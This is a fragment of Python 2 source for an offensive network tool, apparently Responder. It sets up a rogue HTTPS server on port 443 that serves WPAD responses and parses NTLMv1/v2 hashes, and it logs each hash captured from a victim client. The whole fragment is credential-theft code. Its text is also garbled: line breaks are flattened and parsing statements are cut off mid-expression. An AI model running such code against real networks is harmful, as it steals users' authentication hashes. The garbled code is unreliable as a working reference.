################################################################################## #HTTPS Server stuff starts here (Not Used) ################################################################################## class HTTPSProxy(): def serve_thread_SSL(host, port, handler): try: server = SSlSock((host, port), handler) server.serve_forever() except Exception, e: print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) #Function name self-explanatory def start(SSL_On_Off): if SSL_On_Off == "ON": t = threading.Thread(name="SSL", target=self.serve_thread_SSL, args=("0.0.0.0", 443,DoSSL)) t.setDaemon(True) t.start() return t if SSL_On_Off == "OFF": return False class SSlSock(ThreadingMixIn, TCPServer): def __init__(self, server_address, RequestHandlerClass): BaseServer.__init__(self, server_address, RequestHandlerClass) ctx = SSL.Context(SSL.SSLv3_METHOD) ctx.use_privatekey_file(SSLkey) ctx.use_certificate_file(SSLcert) self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type)) self.server_bind() self.server_activate() def shutdown_request(self,request): try: request.shutdown() except: pass class DoSSL(StreamRequestHandler): def setup(self): self.exchange = self.request self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) def handle(self): try: while True: data = self.exchange.recv(8092) self.exchange.settimeout(0.5) buff = WpadCustom(data,self.client_address[0]) if buff: self.exchange.send(buff) else: buffer0 = HTTPSPacketSequence(data,self.client_address[0]) self.exchange.send(buffer0) except: pass #Parse NTLMv1/v2 hash. def ParseHTTPSHash(data,client): LMhashLen = struct.unpack(' 24: #print "[+]HTTPS NTLMv2 hash captured from :",client responder_logger.info('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack('